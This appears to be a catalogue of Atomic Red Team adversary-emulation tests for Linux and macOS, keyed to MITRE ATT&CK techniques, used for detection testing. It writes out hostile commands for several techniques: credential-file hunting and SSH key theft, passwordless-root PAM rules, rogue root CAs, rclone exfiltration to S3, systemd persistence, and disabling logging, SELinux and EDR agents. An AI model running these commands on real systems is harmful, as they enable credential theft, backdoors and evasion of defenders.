This test gives a file the capability to set UID without using flags.
touch #{file_to_setcap}
sudo setcap cap_setuid=ep #{file_to_setcap}
T1548.001 sh linux Do reconnaissance for files that have the setuid bit set
Setuid and Setgid
This test simulates a command that can be run to enumerate files that have the setuid bit set
find /usr/bin -perm -4000
T1548.001 sh linux Do reconnaissance for files that have the setgid bit set
Setuid and Setgid
This test simulates a command that can be run to enumerate files that have the setgid bit set
find /usr/bin -perm -2000
T1548.003 sh elevated macos, linux Sudo usage
Sudo and Sudo Caching
Common Sudo enumeration methods.
sudo -l      
sudo cat /etc/sudoers
sudo vim /etc/sudoers
T1548.003 sh elevated linux Sudo usage (freebsd)
Sudo and Sudo Caching
Common Sudo enumeration methods.
sudo -l      
sudo cat /usr/local/etc/sudoers
sudo ee /usr/local/etc/sudoers
T1548.003 sh elevated macos, linux Unlimited sudo cache timeout
Sudo and Sudo Caching
Sets sudo caching timestamp_timeout to a value for unlimited. This is dangerous to modify without using 'visudo', do not do this on a production system.
sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /etc/sudoers
sudo visudo -c -f /etc/sudoers
T1548.003 sh elevated linux Unlimited sudo cache timeout (freebsd)
Sudo and Sudo Caching
Sets sudo caching timestamp_timeout to a value for unlimited. This is dangerous to modify without using 'visudo', do not do this on a production system.
sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /usr/local/etc/sudoers
sudo visudo -c -f /usr/local/etc/sudoers
T1548.003 sh elevated macos, linux Disable tty_tickets for sudo caching
Sudo and Sudo Caching
Sets sudo caching tty_tickets value to disabled. This is dangerous to modify without using 'visudo', do not do this on a production system.
sudo sh -c "echo Defaults "'!'"tty_tickets >> /etc/sudoers"
sudo visudo -c -f /etc/sudoers
T1548.003 sh elevated linux Disable tty_tickets for sudo caching (freebsd)
Sudo and Sudo Caching
Sets sudo caching tty_tickets value to disabled. This is dangerous to modify without using 'visudo', do not do this on a production system.
sudo sh -c "echo Defaults "'!'"tty_tickets >> /usr/local/etc/sudoers"
sudo visudo -c -f /usr/local/etc/sudoers
T1552 sh linux, macos, iaas:aws AWS - Retrieve EC2 Password Data using stratus
Unsecured Credentials
This atomic runs an API call GetPasswordData from a role that does not have permission to do so. This simulates an attacker attempting to retrieve RDP passwords on a high number of Windows EC2 instances. This atomic test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.credential-access.ec2-get-password-data/
export AWS_REGION=#{aws_region} 
cd #{stratus_path}
echo "starting warmup"
./stratus warmup aws.credential-access.ec2-get-password-data
echo "starting detonate"
./stratus detonate aws.credential-access.ec2-get-password-data --force
T1552.001 sh macos, linux Find AWS credentials
Credentials In Files
Find local AWS credentials from file, defaults to using / as the look path.
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 sh linux, macos Extract passwords with grep
Credentials In Files
Extracting credentials from files
grep -ri password #{file_path}
exit 0
T1552.001 bash linux, macos Find and Access Github Credentials
Credentials In Files
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 sh macos, linux Find Azure credentials
Credentials In Files
Find local Azure credentials from file, defaults to using / as the look path.
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 sh macos, linux Find GCP credentials
Credentials In Files
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 sh macos, linux Find OCI credentials
Credentials In Files
Find local Oracle cloud credentials from file, defaults to using / as the look path.
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.003 sh linux, macos Search Through Bash History
Shell History
Search through bash history for specifice commands we want to capture
cat #{bash_history_filename} | grep #{bash_history_grep_args} > #{output_file}
T1552.003 sh linux Search Through sh History
Shell History
Search through sh history for specifice commands we want to capture
cat #{sh_history_filename} | grep #{sh_history_grep_args} > #{output_file}
T1552.004 sh linux, macos Discover Private SSH Keys
Private Keys
Discover private SSH keys on a FreeBSD, macOS or Linux system.
find #{search_path} -name id_rsa 2>/dev/null >> #{output_file}
exit 0
T1552.004 sh linux Copy Private SSH Keys with CP
Private Keys
Copy private SSH keys on a Linux system to a staging folder using the cp command.
mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec cp --parents {} #{output_folder} \;
exit 0
T1552.004 sh linux Copy Private SSH Keys with CP (freebsd)
Private Keys
Copy private SSH keys on a FreeBSD system to a staging folder using the cp command.
mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec gcp --parents {} #{output_folder} \;
T1552.004 sh macos, linux Copy Private SSH Keys with rsync
Private Keys
Copy private SSH keys on a Linux or macOS system to a staging folder using the rsync command.
mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \;
exit 0
T1552.004 sh linux Copy Private SSH Keys with rsync (freebsd)
Private Keys
Copy private SSH keys on a FreeBSD system to a staging folder using the rsync command.
mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \;
T1552.004 sh macos, linux Copy the users GnuPG directory with rsync
Private Keys
Copy the users GnuPG (.gnupg) directory on a Mac or Linux system to a staging folder using the rsync command.
mkdir #{output_folder}
find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \;
exit 0
T1552.004 sh linux Copy the users GnuPG directory with rsync (freebsd)
Private Keys
Copy the users GnuPG (.gnupg) directory on a FreeBSD system to a staging folder using the rsync command.
mkdir #{output_folder}
find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \;
T1552.007 sh linux Cat the contents of a Kubernetes service account token file
Container API
Access the Kubernetes service account access token stored within a container in a cluster.
kubectl --context kind-atomic-cluster exec atomic-pod -- cat /run/secrets/kubernetes.io/serviceaccount/token
T1553.004 sh elevated linux Install root CA on CentOS/RHEL
Install Root Certificate
Creates a root CA with openssl
openssl genrsa -out #{key_filename} 4096
openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out #{cert_filename}
cp #{cert_filename} /etc/pki/ca-trust/source/anchors/
update-ca-trust
T1553.004 sh elevated linux Install root CA on FreeBSD
Install Root Certificate
Creates a root CA with openssl
openssl genrsa -out #{key_filename} 4096
openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out #{cert_filename}
cp #{cert_filename} /usr/local/share/certs/
certctl rehash
T1553.004 sh elevated linux Install root CA on Debian/Ubuntu
Install Root Certificate
Creates a root CA with openssl
mv #{cert_filename} /usr/local/share/ca-certificates
sudo update-ca-certificates
T1555.003 sh elevated linux LaZagne.py - Dump Credentials from Firefox Browser
Credentials from Web Browsers
Credential Dump Ubuntu 20.04.4 LTS Focal Fossa Firefox Browser, Reference https://github.com/AlessandroZ/LaZagne
python3 #{lazagne_path}/laZagne.py #{specific_module} >> #{output_file}
T1556.003 sh elevated linux Malicious PAM rule
Pluggable Authentication Modules
Inserts a rule into a PAM config and then tests it. Upon successful execution, this test will insert a rule that allows every user to su to root without a password.
sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}
T1556.003 sh elevated linux Malicious PAM rule (freebsd)
Pluggable Authentication Modules
Inserts a rule into a PAM config and then tests it. Upon successful execution, this test will insert a rule that allows every user to su to root without a password.
sudo sed -i "" "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}
T1556.003 sh elevated linux Malicious PAM module
Pluggable Authentication Modules
Creates a PAM module, inserts a rule to use it, and then tests it. Upon successful execution, this test will create a PAM module that allows every user to su to root without a password.
sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf}
T1560.001 bash elevated linux, macos Data Compressed - nix - zip
Archive via Utility
An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard zip compression.
zip #{output_file} #{input_files}
T1560.001 sh linux, macos Data Compressed - nix - gzip Single File
Archive via Utility
An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard gzip compression.
test -e #{input_file} && gzip -k #{input_file} || (echo '#{input_content}' >> #{input_file}; gzip -k #{input_file})
T1560.001 sh linux, macos Data Compressed - nix - tar Folder or File
Archive via Utility
An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard gzip compression.
tar -cvzf #{output_file} #{input_file_folder}
T1560.001 sh linux, macos Data Encrypted with zip and gpg symmetric
Archive via Utility
Encrypt data for exiltration
mkdir -p #{test_folder}
cd #{test_folder}; touch a b c d e f g
zip --password "#{encryption_password}" #{test_folder}/#{test_file} ./*
echo "#{encryption_password}" | gpg --batch --yes --passphrase-fd 0 --output #{test_folder}/#{test_file}.zip.gpg -c #{test_folder}/#{test_file}.zip
ls -l #{test_folder}
T1560.001 bash linux, macos Encrypts collected data with AES-256 and Base64
Archive via Utility
An adversary may compress all the collected data, encrypt and send them to a C2 server using base64 encoding. This atomic test tries to emulate the behaviour of the FLEXIROOT backdoor to archive the collected data. FLEXIROOT typically utilizes AES encryption and base64 encoding to transfer the encrypted data to the C2 server. In this test, standard zip compression and the OpenSSL library are used to encrypt the compressed data. https://attack.mitre.org/versions/v7/software/S0267/
zip -r  #{input_folder}/#{input_file}.zip #{input_folder}
openssl enc -aes-256-cbc -pass pass:#{enc_pass} -p -in #{input_folder}/#{input_file}.zip -out #{input_folder}/#{input_file}.enc 
cat #{input_folder}/#{input_file}.enc | base64
T1560.002 sh linux Compressing data using GZip in Python (FreeBSD/Linux)
Archive via Library
Uses GZip from Python to compress files
which_python=`which python || which python3`
$which_python -c "import gzip;input_file=open('#{path_to_input_file}', 'rb');content=input_file.read();input_file.close();output_file=gzip.GzipFile('#{path_to_output_file}','wb',compresslevel=6);output_file.write(content);output_file.close();"
T1560.002 sh linux Compressing data using bz2 in Python (FreeBSD/Linux)
Archive via Library
Uses bz2 from Python to compress files
which_python=`which python || which python3`
$which_python -c "import bz2;input_file=open('#{path_to_input_file}','rb');content=input_file.read();input_file.close();bz2content=bz2.compress(content,compresslevel=9);output_file=open('#{path_to_output_file}','w+');output_file.write(str(bz2content));output_file.close();"
T1560.002 sh linux Compressing data using zipfile in Python (FreeBSD/Linux)
Archive via Library
Uses zipfile from Python to compress files
which_python=`which python || which python3`
$which_python -c "from zipfile import ZipFile; ZipFile('#{path_to_output_file}', mode='w').write('#{path_to_input_file}')"
T1560.002 sh linux Compressing data using tarfile in Python (FreeBSD/Linux)
Archive via Library
Uses tarfile from Python to compress files
which_python=`which python || which python3`
$which_python -c "import tarfile; output_file = tarfile.open('#{path_to_output_file}','w'); output_file.add('#{path_to_input_file}'); output_file.close()" 
T1564.001 sh linux, macos Create a hidden file in a hidden directory
Hidden Files and Directories
Creates a hidden file inside a hidden directory
mkdir /var/tmp/.hidden-directory
echo "T1564.001" > /var/tmp/.hidden-directory/.hidden-file
T1567.002 powershell linux, macos Exfiltrate data with rclone to cloud Storage - AWS S3
Exfiltration to Cloud Storage
This test uses rclone to exfiltrate data to a remote cloud storage instance. (AWS S3) See https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/
Write-Host "Deploying AWS infrastructure... " -NoNewLine
$awsAccessKey = "#{aws_access_key}"
$awsSecretKey = "#{aws_secret_key}"
cd PathToAtomicsFolder/T1567.002/src/
if ($awsAccessKey -eq "" -or $awsSecretKey -eq "") {
  $env:AWS_PROFILE = "#{aws_profile}"
} else {
  $env:AWS_ACCESS_KEY_ID = "$awsAccessKey"
  $env:AWS_SECRET_ACCESS_KEY = "$awsSecretKey"
}
$null = PathToAtomicsFolder/../ExternalPayloads/T1567.002/terraform-v*/terraform init
$null = PathToAtomicsFolder/../ExternalPayloads/T1567.002/terraform-v*/terraform apply -var "aws_region=#{aws_region}" -auto-approve
Write-Host "Done!"
Write-Host "Generating rclone config... " -NoNewLine
$config = @"
[exfils3]
type = s3
provider = AWS
env_auth = true
region = #{aws_region}
"@
$config | Out-File -FilePath "PathToAtomicsFolder/../ExternalPayloads/T1567.002/rclone.conf" -Encoding ascii
Write-Host "Done!"
Write-Host "Exfiltrating data... " -NoNewLine
$bucket = "$(PathToAtomicsFolder/../ExternalPayloads/T1567.002/terraform-v*/terraform output bucket)".Replace("`"","")
cd PathToAtomicsFolder/../ExternalPayloads/T1567.002/rclone-v*
$null = ./rclone copy --max-size 1700k "PathToAtomicsFolder/../ExternalPayloads/T1567.002/data/" exfils3:$bucket --config "PathToAtomicsFolder/../ExternalPayloads/T1567.002/rclone.conf"
Write-Host "Done!"
T1568.002 bash linux DGA Simulation (Python)
Domain Generation Algorithms
Simulates Domain Generation Algorithm (DGA) traffic by generating pseudo-random domains based on the current date and querying them using dig. This is designed to trigger DNS analytics and NGIDS.
python3 "#{python_script_path}"
T1569.002 bash linux psexec.py (Impacket)
Service Execution
Will execute a command on the remote host with Impacket psexec.py script.
psexec.py '#{domain}/#{username}:#{password}@#{remote_host}' '#{command}'
T1569.003 sh elevated linux Create and Enable a Malicious systemd Service Unit
Systemctl
Creates a new systemd service unit file in /etc/systemd/system/ and enables it using systemctl enable followed by systemctl start. Adversaries commonly abuse this workflow to establish persistence or execute arbitrary commands under the context of systemd. This simulates the full attacker workflow: writing the unit file, reloading the systemd daemon, enabling the service to survive reboots, and starting it immediately. This is consistent with techniques observed in ransomware precursor activity and post-exploitation frameworks targeting Linux infrastructure.
echo "[Unit]" > /etc/systemd/system/#{service_name}.service
echo "Description=Atomic Test Service" >> /etc/systemd/system/#{service_name}.service
echo "After=network.target" >> /etc/systemd/system/#{service_name}.service
echo "" >> /etc/systemd/system/#{service_name}.service
echo "[Service]" >> /etc/systemd/system/#{service_name}.service
echo "ExecStart=#{command_to_run}" >> /etc/systemd/system/#{service_name}.service
echo "Restart=on-failure" >> /etc/systemd/system/#{service_name}.service
echo "" >> /etc/systemd/system/#{service_name}.service
echo "[Install]" >> /etc/systemd/system/#{service_name}.service
echo "WantedBy=multi-user.target" >> /etc/systemd/system/#{service_name}.service
systemctl daemon-reload
systemctl enable #{service_name}.service
systemctl start #{service_name}.service
systemctl status #{service_name}.service
T1569.003 sh elevated linux Create systemd Service Unit from /tmp (Unusual Location)
Systemctl
Creates a systemd service unit file in /tmp and loads it using systemctl start with an absolute path. Adversaries may write service unit files to world-writable directories such as /tmp to avoid triggering alerts on new file creation in standard service directories, or to execute payloads transiently without permanently installing a service. Loading a service unit from an arbitrary path rather than a standard systemd directory is unusual behaviour that should be detectable by monitoring systemctl command arguments.
echo "[Unit]" > #{service_path}
echo "Description=Atomic Tmp Service" >> #{service_path}
echo "" >> #{service_path}
echo "[Service]" >> #{service_path}
echo "ExecStart=#{command_to_run}" >> #{service_path}
echo "" >> #{service_path}
echo "[Install]" >> #{service_path}
echo "WantedBy=multi-user.target" >> #{service_path}
systemctl link #{service_path}
systemctl start $(basename #{service_path})
systemctl status $(basename #{service_path})
T1569.003 sh elevated linux Create systemd Service Unit from /dev/shm (Unusual Location)
Systemctl
Creates a systemd service unit file in /dev/shm and loads it using systemctl. /dev/shm is a memory-backed filesystem that is world-writable on most Linux systems and does not persist across reboots, making it particularly attractive to adversaries seeking to execute transient payloads while evading file-based forensic detection. This technique has been observed in post-exploitation scenarios where attackers deliberately avoid writing to disk-backed locations to limit forensic artefacts.
echo "[Unit]" > #{service_path}
echo "Description=Atomic SHM Service" >> #{service_path}
echo "" >> #{service_path}
echo "[Service]" >> #{service_path}
echo "ExecStart=#{command_to_run}" >> #{service_path}
echo "" >> #{service_path}
echo "[Install]" >> #{service_path}
echo "WantedBy=multi-user.target" >> #{service_path}
systemctl link #{service_path}
systemctl start $(basename #{service_path})
systemctl status $(basename #{service_path})
T1569.003 sh elevated linux Modify Existing systemd Service to Execute Malicious Command
Systemctl
Creates a service unit file that initially runs a benign command, then modifies the ExecStart directive using sed to substitute a malicious command before reloading and restarting the service. Adversaries may hijack existing services to blend in with normal service activity and avoid triggering detections focused solely on new service creation. This technique reflects the tradecraft observed in more sophisticated intrusions where blending into existing process trees is a priority over creating net-new services.
echo "[Unit]" > /etc/systemd/system/#{service_name}.service
echo "Description=Legitimate Looking Service" >> /etc/systemd/system/#{service_name}.service
echo "" >> /etc/systemd/system/#{service_name}.service
echo "[Service]" >> /etc/systemd/system/#{service_name}.service
echo "ExecStart=/bin/true" >> /etc/systemd/system/#{service_name}.service
echo "" >> /etc/systemd/system/#{service_name}.service
echo "[Install]" >> /etc/systemd/system/#{service_name}.service
echo "WantedBy=multi-user.target" >> /etc/systemd/system/#{service_name}.service
systemctl daemon-reload
sed -i 's|ExecStart=.*|ExecStart=#{malicious_command}|' /etc/systemd/system/#{service_name}.service
systemctl daemon-reload
systemctl start #{service_name}.service
systemctl status #{service_name}.service
T1569.003 sh elevated linux Execute Command via Transient systemd Service (systemd-run)
Systemctl
Uses systemd-run to execute a command as a transient systemd service without creating a persistent unit file on disk. Adversaries may use systemd-run to execute arbitrary commands under the context of systemd while bypassing controls that monitor for new unit file creation, since transient services exist only in memory for their lifetime. This is a particularly stealthy technique as it leaves minimal on-disk artefacts and the service disappears from systemctl list-units once execution completes.
systemd-run --unit=#{unit_name} --wait #{command_to_run}
systemctl status #{unit_name}.service 2>/dev/null || echo "Transient service has already completed and exited."
T1569.003 sh linux Enumerate All systemd Services Using systemctl
Systemctl
Enumerates all systemd services and their current states using systemctl list-units and systemctl list-unit-files. Adversaries may enumerate running and enabled services to identify targets for hijacking, understand the host environment, map installed security tooling, or identify gaps in monitoring coverage. Service enumeration is a common reconnaissance step during post-exploitation and may precede service hijacking or masquerading activity. This test does not require elevation as service listing is available to unprivileged users on most Linux systems.
systemctl list-units --type=service --all
systemctl list-unit-files --type=service
T1569.003 sh elevated linux Enable systemd Service for Persistence with Auto-Restart
Systemctl
Creates a payload script and a systemd service unit that executes it, then enables the service to survive reboots using systemctl enable. The service is configured with Restart=always to automatically restart on failure, mimicking the persistence mechanism used by adversaries deploying backdoors or beacons on Linux hosts. This technique is consistent with observed post-exploitation tradecraft where adversaries establish a foothold that survives reboots and self-heals after interruption, complicating incident response and remediation efforts.
echo "[Unit]" > /etc/systemd/system/#{service_name}.service
echo "Description=Atomic Persistence Service" >> /etc/systemd/system/#{service_name}.service
echo "After=network.target" >> /etc/systemd/system/#{service_name}.service
echo "" >> /etc/systemd/system/#{service_name}.service
echo "[Service]" >> /etc/systemd/system/#{service_name}.service
echo "ExecStart=#{payload_path}" >> /etc/systemd/system/#{service_name}.service
echo "Restart=always" >> /etc/systemd/system/#{service_name}.service
echo "RestartSec=10" >> /etc/systemd/system/#{service_name}.service
echo "" >> /etc/systemd/system/#{service_name}.service
echo "[Install]" >> /etc/systemd/system/#{service_name}.service
echo "WantedBy=multi-user.target" >> /etc/systemd/system/#{service_name}.service
systemctl daemon-reload
systemctl enable #{service_name}.service
systemctl start #{service_name}.service
systemctl status #{service_name}.service
T1569.003 sh elevated linux Masquerade Malicious Service as Legitimate System Service
Systemctl
Creates a systemd service with a name and description closely resembling a legitimate system service to blend in with normal service activity. Adversaries may deliberately choose service names similar to well-known system services such as systemd-networkd, cron, or ssh to evade detection from analysts reviewing service lists or automated alerting on service names. This masquerading technique is particularly effective in environments where detection relies on service name allowlists or manual review of systemctl list-units output rather than behavioural analysis of service unit file contents and ExecStart paths.
echo "[Unit]" > /etc/systemd/system/#{masquerade_name}.service
echo "Description=Network connectivity helper service" >> /etc/systemd/system/#{masquerade_name}.service
echo "After=network.target" >> /etc/systemd/system/#{masquerade_name}.service
echo "Before=network-online.target" >> /etc/systemd/system/#{masquerade_name}.service
echo "" >> /etc/systemd/system/#{masquerade_name}.service
echo "[Service]" >> /etc/systemd/system/#{masquerade_name}.service
echo "ExecStart=#{command_to_run}" >> /etc/systemd/system/#{masquerade_name}.service
echo "Restart=on-failure" >> /etc/systemd/system/#{masquerade_name}.service
echo "RestartSec=5" >> /etc/systemd/system/#{masquerade_name}.service
echo "" >> /etc/systemd/system/#{masquerade_name}.service
echo "[Install]" >> /etc/systemd/system/#{masquerade_name}.service
echo "WantedBy=multi-user.target" >> /etc/systemd/system/#{masquerade_name}.service
systemctl daemon-reload
systemctl start #{masquerade_name}.service
systemctl status #{masquerade_name}.service
T1571 sh linux, macos Testing usage of uncommonly used port
Non-Standard Port
Testing uncommonly used port utilizing telnet.
echo quit | telnet #{domain} #{port}
exit 0
T1572 bash linux, macos Microsoft Dev tunnels (Linux/macOS)
Protocol Tunneling
Dev Tunnels enables insiders as well as threat actors to expose local ports over the internet via Microsoft dev tunnels. This atomic will generate a dev tunnel binding it to the local service running on the provided port. Can be used to expose local services, web applications and local files etc. Reference: - [Microsoft Docs](https://learn.microsoft.com/en-us/tunnels/dev-tunnels-overview) - [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/devtunnels/)
#{binary_path} host -p #{port} &
T1572 sh linux, macos VSCode tunnels (Linux/macOS)
Protocol Tunneling
Visual Studio Code Remote Tunnels can be used for exposing local development environment/services/files over the internet. This atomic will generate a dev tunnel binding it to the local service running on the provided port. Reference: - [Microsoft Docs](https://code.visualstudio.com/docs/remote/tunnels) - [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/vscode-server/)
nohup code tunnel --accept-server-license-terms #{additional_args} >/dev/null 2>&1 &
T1572 sh linux, macos Cloudflare tunnels (Linux/macOS)
Protocol Tunneling
Cloudflared can be used for exposing local development environment/services/files over the internet. This atomic will generate a dev tunnel binding it to the local service running on the provided port. Reference: - [Cloudflared Docs](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/) - [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/cloudflared/)
nohup #{binary_path} tunnel --url #{url_to_tunnel} #{additional_args} >/dev/null 2>&1 &
T1574.006 bash elevated linux Shared Library Injection via /etc/ld.so.preload
Dynamic Linker Hijacking
This test adds a shared library to the ld.so.preload list to execute and intercept API calls. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the glibc package. Upon successful execution, bash will echo ../bin/T1574.006.so to /etc/ld.so.preload.
sudo sh -c 'echo #{path_to_shared_library} > /etc/ld.so.preload'
T1574.006 bash linux Shared Library Injection via LD_PRELOAD
Dynamic Linker Hijacking
This test injects a shared object library via the LD_PRELOAD environment variable to execute. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the glibc package. Upon successful execution, bash will utilize LD_PRELOAD to load the shared object library /etc/ld.so.preload. Output will be via stdout.
LD_PRELOAD=#{path_to_shared_library} ls
T1578.002 sh iaas:aws, linux Create EC2 Instance from Launch Template
Create Cloud Instance
Creating and launching an instance using RunInstances, with a launch template. This launch template will contain all the necessary parameters for the instance. Reference for the launch templates https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/create-launch-template.html https://docs.aws.amazon.com/cli/latest/reference/ec2/run-instances.html#examples
aws ec2 create-launch-template \
  --launch-template-name #{template_name} \
  --version-description #{version} \
  --tag-specifications 'ResourceType=launch-template,Tags=[{Key=purpose,Value=production}]' \
  --launch-template-data file://template.json

aws ec2 run-instances --image-id #{ami_id} --instance-type #{instance_type} \
  --region #{aws_region} --profile #{profile_name}
T1578.002 sh iaas:aws, linux Create EC2 Instance with user data
Create Cloud Instance
Creates an EC2 instance with a keypair while passing user data in a script. The script runs at launch.
printf '%s\n' '#!/bin/bash' 'date -u > /var/tmp/userdata-ran.txt' > my_script.txt
aws ec2 run-instances \
  --image-id #{ami_id} \
  --instance-type #{instance_type} \
  --count 1 \
  --subnet-id subnet-XXXXXXXXXXXXXXX \
  --key-name MyKeyPair \
  --user-data file://my_script.txt
T1580 sh linux, macos, iaas:aws AWS - EC2 Enumeration from Cloud Instance
Cloud Infrastructure Discovery
This atomic runs several API calls (sts:GetCallerIdentity, s3:ListBuckets, iam:GetAccountSummary, iam:ListRoles, iam:ListUsers, iam:GetAccountAuthorizationDetails, ec2:DescribeSnapshots, cloudtrail:DescribeTrails, guardduty:ListDetectors) from the context of an EC2 instance role. This simulates an attacker compromising an EC2 instance and running initial discovery commands on it. This atomic test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.discovery.ec2-enumerate-from-instance/
export AWS_REGION=#{aws_region}
cd #{stratus_path}
echo "Stratus: Start Warmup."
./stratus warmup aws.discovery.ec2-enumerate-from-instance
echo "Stratus: Start Detonate."
./stratus detonate aws.discovery.ec2-enumerate-from-instance
T1595.003 powershell windows, linux, macos Web Server Wordlist Scan
Wordlist Scanning
This test will scan a target system with a wordlist of common directories and file paths.
Import-Module "PathToAtomicsFolder/T1595.003/src/WebServerScan.ps1"
Invoke-WordlistScan -Target "#{target}" -Wordlist "#{wordlist}" -Timeout "#{request_timeout}" -OutputFile "#{output_file}"
Write-Host "Scan complete. Results saved to: #{output_file}"
T1614 bash macos, linux Get geolocation info through IP-Lookup services using curl freebsd, linux or macos
System Location Discovery
Get geolocation info through IP-Lookup services using curl Windows. The default URL of the IP-Lookup service is https://ipinfo.io/. References: https://securelist.com/transparent-tribe-part-1/98127/ and https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/
curl -k #{ip_lookup_url}
T1614.001 sh linux Discover System Language with locale
System Language Discovery
Identify System language with the locale command. Upon successful execution, the output will contain the environment variables that indicate the 5 character locale that can be looked up to correlate the language and territory.
locale
T1614.001 sh linux Discover System Language with localectl
System Language Discovery
Identify System language with the localectl command. Upon successful execution, the key System Locale from the output will contain the LANG environment variable that has the 5 character locale result that can be looked up to correlate the language and territory.
localectl status
T1614.001 sh linux Discover System Language by locale file
System Language Discovery
Identify System language with the by reading the locale configuration file. The locale configuration file contains the LANG environment variable which will contain the 5 character locale that can be looked up to correlate the language and territory.
[ -f /etc/locale.conf ] && cat /etc/locale.conf || cat /etc/default/locale
T1614.001 sh linux Discover System Language by Environment Variable Query
System Language Discovery
Identify System language by checking the environment variables Upon successful execution, the 5 character locale result can be looked up to correlate the language and territory. Environment query commands are likely to run with a pattern match command e.g. env | grep LANG Note: env and printenv will usually provide the same results. set is also used as a builtin command that does not generate syscall telemetry but does provide a list of the environment variables.
env | grep LANG
printenv LANG
set | grep LANG
T1652 bash linux Device Driver Discovery (Linux)
Device Driver Discovery
Displays a list of loaded kernel modules on a Linux system, which is used to enumerate drivers.
lsmod
T1652 bash linux Enumerate Kernel Driver Files (Linux)
Device Driver Discovery
Finds and lists all kernel driver files on a Linux system in order to provide a broader view of available drivers, not just loaded ones.
find /lib/modules/$(uname -r)/kernel/drivers -name "*.ko*"
T1659 bash macos, linux MITM Proxy Injection
Content Injection
Start mitmdump and verify injected header and HTML content.
curl -skI --proxy http://127.0.0.1:8080 http://example.com > /tmp/curl_out.txt
grep "X-Atomic" /tmp/curl_out.txt || (cat /tmp/curl_out.txt && exit 1)
curl -sk --proxy http://127.0.0.1:8080 http://example.com > /tmp/atomic_t1659_page.html
grep -q "Atomic T1659 Injection" /tmp/atomic_t1659_page.html || (head -20 /tmp/atomic_t1659_page.html; exit 1)
T1685 sh elevated linux Disable journal logging via systemctl utility
Disable or Modify Tools
The atomic test disables the journal logging using built-in systemctl utility
sudo systemctl stop systemd-journald #disables journal logging
T1685 sh elevated linux Disable journal logging via sed utility
Disable or Modify Tools
The atomic test disables the journal logging by searching and replacing the "Storage" parameter to "none" within the journald.conf file, thus any new journal entries will only be temporarily available in memory and not written to disk
sudo sed -i 's/Storage=auto/Storage=none/' /etc/systemd/journald.conf
T1685 sh elevated linux Disable syslog
Disable or Modify Tools
Disables syslog collection
#{flavor_command}
T1685 sh elevated linux Disable syslog (freebsd)
Disable or Modify Tools
Disables syslog collection
service syslogd stop
sysrc syslogd_enable="NO"
T1685 sh linux Disable Cb Response
Disable or Modify Tools
Disable the Cb Response service
if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "6" ];
then
  service cbdaemon stop
  chkconfig off cbdaemon
else if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq "7" ];
  systemctl stop cbdaemon
  systemctl disable cbdaemon
fi
T1685 sh elevated linux Disable SELinux
Disable or Modify Tools
Disables SELinux enforcement
setenforce 0
T1685 sh elevated linux Stop Crowdstrike Falcon on Linux
Disable or Modify Tools
Stop and disable Crowdstrike Falcon on Linux
sudo systemctl stop falcon-sensor.service
sudo systemctl disable falcon-sensor.service
T1685 sh elevated linux Clear History
Disable or Modify Tools
Clear Shell History. This technique only affect the bash shell application.
history -c
T1685 sh elevated linux Suspend History
Disable or Modify Tools
suspend Shell History seen in Awfulshred wiper- https://unix.stackexchange.com/questions/10922/temporarily-suspend-bash-history-on-a-given-shell
set +o history
T1685 sh elevated linux Reboot Linux Host via Kernel System Request
Disable or Modify Tools
reboot system via system request seen in Awfulshred wiper.
echo 1> /proc/sys/kernel/sysrq 
echo b> /proc/sysrq-trigger 
T1685 sh elevated linux Clear Pagging Cache
Disable or Modify Tools
clear pagging cache via system request. This is a temporary change in the system to clear paging cache. This technique seen in Awfulshred wiper as part of its malicious payload on the compromised host. added reference link for this technique: https://www.tecmint.com/clear-ram-memory-cache-buffer-and-swap-space-on-linux/
free && echo 3 > /proc/sys/vm/drop_caches && free
echo 3> /proc/sys/vm/drop_caches 
T1685 sh elevated linux Disable Memory Swap
Disable or Modify Tools
